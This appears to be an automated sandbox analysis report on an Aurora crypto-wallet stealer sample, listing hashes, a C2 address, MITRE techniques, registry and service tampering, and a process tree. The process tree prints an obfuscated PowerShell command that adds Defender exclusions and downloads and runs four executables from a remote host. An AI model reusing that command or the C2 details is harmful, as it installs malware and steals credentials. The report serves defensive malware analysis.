aurora | 474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e

Analysis

max time kernel
36s
max time network
87s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
22-02-2023 07:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe
Size

626KB
MD5

47b01695ff80b03ae518b333163da42c
SHA1

aa95d6c08ae9201828da23593e42df4a2e39ce82
SHA256

474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e
SHA512

886a285e76a7d41e14bb1cfef3a464dc47e4b665bfd6905f26961253fd5f4eee0a6fed01afd464d603c8d17f6d09edc475e2fdd4da79178c6be0f54dc5bad466
SSDEEP

6144:fMEN1L7wFSXZX4KipZx7fuwkBzvGwxAOo8jRfAAfc:f9N1LkFSJX45p3Uhq8jRAAE

Score

10^/10

aurora evasion spyware stealer

Malware Config

Extracted

Family

aurora

107.182.129.73:8081

Signatures

Aurora
Aurora is a crypto wallet stealer written in Golang.
stealer aurora

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

SmartDefRun.exe

description	pid	process	target process
PID 3292 created 3164	3292	SmartDefRun.exe	Explorer.EXE
PID 3292 created 3164	3292	SmartDefRun.exe	Explorer.EXE
PID 3292 created 3164	3292	SmartDefRun.exe	Explorer.EXE
PID 3292 created 3164	3292	SmartDefRun.exe	Explorer.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 3900 powershell.exe
Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

SmartDefRun.exe

description ioc process

File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Executes dropped EXE 4 IoCs

Processes:

new2.exeC4Loader.exeSmartDefRun.exeSysApp.exe

pid process

312 new2.exe
3968 C4Loader.exe
3292 SmartDefRun.exe
1340 SysApp.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

flow	pid	process
3	3900	powershell.exe

description	ioc	process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

pid	process
312	new2.exe
3968	C4Loader.exe
3292	SmartDefRun.exe
1340	SysApp.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exeSmartDefRun.exe

description	pid	process	target process
PID 8 set thread context of 4524	8	474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe	vbc.exe
PID 3292 set thread context of 2500	3292	SmartDefRun.exe	dialer.exe

Drops file in Program Files directory 1 IoCs

Processes:

SmartDefRun.exe

description ioc process

File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

2012 sc.exe
1884 sc.exe
2140 sc.exe
4480 sc.exe
4872 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3040 8 WerFault.exe 474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3276 schtasks.exe

description	ioc	process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

pid	process
2012	sc.exe
1884	sc.exe
2140	sc.exe
4480	sc.exe
4872	sc.exe

pid	pid_target	process	target process
3040	8	WerFault.exe	474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe

pid	process
3276	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE

Suspicious behavior: EnumeratesProcesses 29 IoCs

Processes:

powershell.exeSysApp.exeSmartDefRun.exepowershell.exepowershell.exeC4Loader.exepowershell.EXEpowershell.EXE

pid	process
3900	powershell.exe
3900	powershell.exe
1340	SysApp.exe
1340	SysApp.exe
1340	SysApp.exe
1340	SysApp.exe
1340	SysApp.exe
1340	SysApp.exe
1340	SysApp.exe
1340	SysApp.exe
1340	SysApp.exe
1340	SysApp.exe
3292	SmartDefRun.exe
3292	SmartDefRun.exe
1280	powershell.exe
1280	powershell.exe
3292	SmartDefRun.exe
3292	SmartDefRun.exe
3292	SmartDefRun.exe
3292	SmartDefRun.exe
2756	powershell.exe
2756	powershell.exe
3292	SmartDefRun.exe
3292	SmartDefRun.exe
3968	C4Loader.exe
3060	powershell.EXE
928	powershell.EXE
928	powershell.EXE
3060	powershell.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exewmic.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	3900	powershell.exe
Token: SeIncreaseQuotaPrivilege	4692	wmic.exe
Token: SeSecurityPrivilege	4692	wmic.exe
Token: SeTakeOwnershipPrivilege	4692	wmic.exe
Token: SeLoadDriverPrivilege	4692	wmic.exe
Token: SeSystemProfilePrivilege	4692	wmic.exe
Token: SeSystemtimePrivilege	4692	wmic.exe
Token: SeProfSingleProcessPrivilege	4692	wmic.exe
Token: SeIncBasePriorityPrivilege	4692	wmic.exe
Token: SeCreatePagefilePrivilege	4692	wmic.exe
Token: SeBackupPrivilege	4692	wmic.exe
Token: SeRestorePrivilege	4692	wmic.exe
Token: SeShutdownPrivilege	4692	wmic.exe
Token: SeDebugPrivilege	4692	wmic.exe
Token: SeSystemEnvironmentPrivilege	4692	wmic.exe
Token: SeRemoteShutdownPrivilege	4692	wmic.exe
Token: SeUndockPrivilege	4692	wmic.exe
Token: SeManageVolumePrivilege	4692	wmic.exe
Token: 33	4692	wmic.exe
Token: 34	4692	wmic.exe
Token: 35	4692	wmic.exe
Token: 36	4692	wmic.exe
Token: SeIncreaseQuotaPrivilege	4692	wmic.exe
Token: SeSecurityPrivilege	4692	wmic.exe
Token: SeTakeOwnershipPrivilege	4692	wmic.exe
Token: SeLoadDriverPrivilege	4692	wmic.exe
Token: SeSystemProfilePrivilege	4692	wmic.exe
Token: SeSystemtimePrivilege	4692	wmic.exe
Token: SeProfSingleProcessPrivilege	4692	wmic.exe
Token: SeIncBasePriorityPrivilege	4692	wmic.exe
Token: SeCreatePagefilePrivilege	4692	wmic.exe
Token: SeBackupPrivilege	4692	wmic.exe
Token: SeRestorePrivilege	4692	wmic.exe
Token: SeShutdownPrivilege	4692	wmic.exe
Token: SeDebugPrivilege	4692	wmic.exe
Token: SeSystemEnvironmentPrivilege	4692	wmic.exe
Token: SeRemoteShutdownPrivilege	4692	wmic.exe
Token: SeUndockPrivilege	4692	wmic.exe
Token: SeManageVolumePrivilege	4692	wmic.exe
Token: 33	4692	wmic.exe
Token: 34	4692	wmic.exe
Token: 35	4692	wmic.exe
Token: 36	4692	wmic.exe
Token: SeIncreaseQuotaPrivilege	4400	WMIC.exe
Token: SeSecurityPrivilege	4400	WMIC.exe
Token: SeTakeOwnershipPrivilege	4400	WMIC.exe
Token: SeLoadDriverPrivilege	4400	WMIC.exe
Token: SeSystemProfilePrivilege	4400	WMIC.exe
Token: SeSystemtimePrivilege	4400	WMIC.exe
Token: SeProfSingleProcessPrivilege	4400	WMIC.exe
Token: SeIncBasePriorityPrivilege	4400	WMIC.exe
Token: SeCreatePagefilePrivilege	4400	WMIC.exe
Token: SeBackupPrivilege	4400	WMIC.exe
Token: SeRestorePrivilege	4400	WMIC.exe
Token: SeShutdownPrivilege	4400	WMIC.exe
Token: SeDebugPrivilege	4400	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4400	WMIC.exe
Token: SeRemoteShutdownPrivilege	4400	WMIC.exe
Token: SeUndockPrivilege	4400	WMIC.exe
Token: SeManageVolumePrivilege	4400	WMIC.exe
Token: 33	4400	WMIC.exe
Token: 34	4400	WMIC.exe
Token: 35	4400	WMIC.exe
Token: 36	4400	WMIC.exe

Suspicious use of WriteProcessMemory 51 IoCs

Processes:

474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exevbc.exepowershell.exenew2.execmd.execmd.execmd.exeSmartDefRun.exeC4Loader.exe

description	pid	process	target process
PID 8 wrote to memory of 4524	8	474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe	vbc.exe
PID 8 wrote to memory of 4524	8	474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe	vbc.exe
PID 8 wrote to memory of 4524	8	474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe	vbc.exe
PID 8 wrote to memory of 4524	8	474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe	vbc.exe
PID 8 wrote to memory of 4524	8	474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe	vbc.exe
PID 4524 wrote to memory of 3900	4524	vbc.exe	powershell.exe
PID 4524 wrote to memory of 3900	4524	vbc.exe	powershell.exe
PID 4524 wrote to memory of 3900	4524	vbc.exe	powershell.exe
PID 3900 wrote to memory of 312	3900	powershell.exe	new2.exe
PID 3900 wrote to memory of 312	3900	powershell.exe	new2.exe
PID 3900 wrote to memory of 3968	3900	powershell.exe	C4Loader.exe
PID 3900 wrote to memory of 3968	3900	powershell.exe	C4Loader.exe
PID 3900 wrote to memory of 3968	3900	powershell.exe	C4Loader.exe
PID 3900 wrote to memory of 3292	3900	powershell.exe	SmartDefRun.exe
PID 3900 wrote to memory of 3292	3900	powershell.exe	SmartDefRun.exe
PID 3900 wrote to memory of 1340	3900	powershell.exe	SysApp.exe
PID 3900 wrote to memory of 1340	3900	powershell.exe	SysApp.exe
PID 3900 wrote to memory of 1340	3900	powershell.exe	SysApp.exe
PID 312 wrote to memory of 4692	312	new2.exe	wmic.exe
PID 312 wrote to memory of 4692	312	new2.exe	wmic.exe
PID 312 wrote to memory of 4036	312	new2.exe	cmd.exe
PID 312 wrote to memory of 4036	312	new2.exe	cmd.exe
PID 4036 wrote to memory of 4400	4036	cmd.exe	WMIC.exe
PID 4036 wrote to memory of 4400	4036	cmd.exe	WMIC.exe
PID 312 wrote to memory of 3880	312	new2.exe	cmd.exe
PID 312 wrote to memory of 3880	312	new2.exe	cmd.exe
PID 3880 wrote to memory of 3612	3880	cmd.exe	WMIC.exe
PID 3880 wrote to memory of 3612	3880	cmd.exe	WMIC.exe
PID 2348 wrote to memory of 2012	2348	cmd.exe	sc.exe
PID 2348 wrote to memory of 2012	2348	cmd.exe	sc.exe
PID 2348 wrote to memory of 1884	2348	cmd.exe	sc.exe
PID 2348 wrote to memory of 1884	2348	cmd.exe	sc.exe
PID 2348 wrote to memory of 2140	2348	cmd.exe	sc.exe
PID 2348 wrote to memory of 2140	2348	cmd.exe	sc.exe
PID 2348 wrote to memory of 4480	2348	cmd.exe	sc.exe
PID 2348 wrote to memory of 4480	2348	cmd.exe	sc.exe
PID 2348 wrote to memory of 4872	2348	cmd.exe	sc.exe
PID 2348 wrote to memory of 4872	2348	cmd.exe	sc.exe
PID 2348 wrote to memory of 1376	2348	cmd.exe	reg.exe
PID 2348 wrote to memory of 1376	2348	cmd.exe	reg.exe
PID 2348 wrote to memory of 4612	2348	cmd.exe	reg.exe
PID 2348 wrote to memory of 4612	2348	cmd.exe	reg.exe
PID 2348 wrote to memory of 1732	2348	cmd.exe	reg.exe
PID 2348 wrote to memory of 1732	2348	cmd.exe	reg.exe
PID 2348 wrote to memory of 4508	2348	cmd.exe	reg.exe
PID 2348 wrote to memory of 4508	2348	cmd.exe	reg.exe
PID 2348 wrote to memory of 1500	2348	cmd.exe	reg.exe
PID 2348 wrote to memory of 1500	2348	cmd.exe	reg.exe
PID 3292 wrote to memory of 2500	3292	SmartDefRun.exe	dialer.exe
PID 3968 wrote to memory of 1548	3968	C4Loader.exe	msedge.exe
PID 3968 wrote to memory of 1548	3968	C4Loader.exe	msedge.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3164

C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe
"C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:8

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:4524

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3900

C:\Users\Admin\AppData\Local\Temp\new2.exe
"C:\Users\Admin\AppData\Local\Temp\new2.exe"
5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:312

C:\Windows\System32\Wbem\wmic.exe
wmic os get Caption
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:4692

C:\Windows\system32\cmd.exe
cmd /C "wmic path win32_VideoController get name"
6⤵
- Suspicious use of WriteProcessMemory
PID:4036

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:4400

C:\Windows\system32\cmd.exe
cmd /C "wmic cpu get name"
6⤵
- Suspicious use of WriteProcessMemory
PID:3880

C:\Windows\System32\Wbem\WMIC.exe
wmic cpu get name
7⤵
PID:3612

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3968

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cheat4.biz/index.php?do=register
6⤵
PID:1548

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
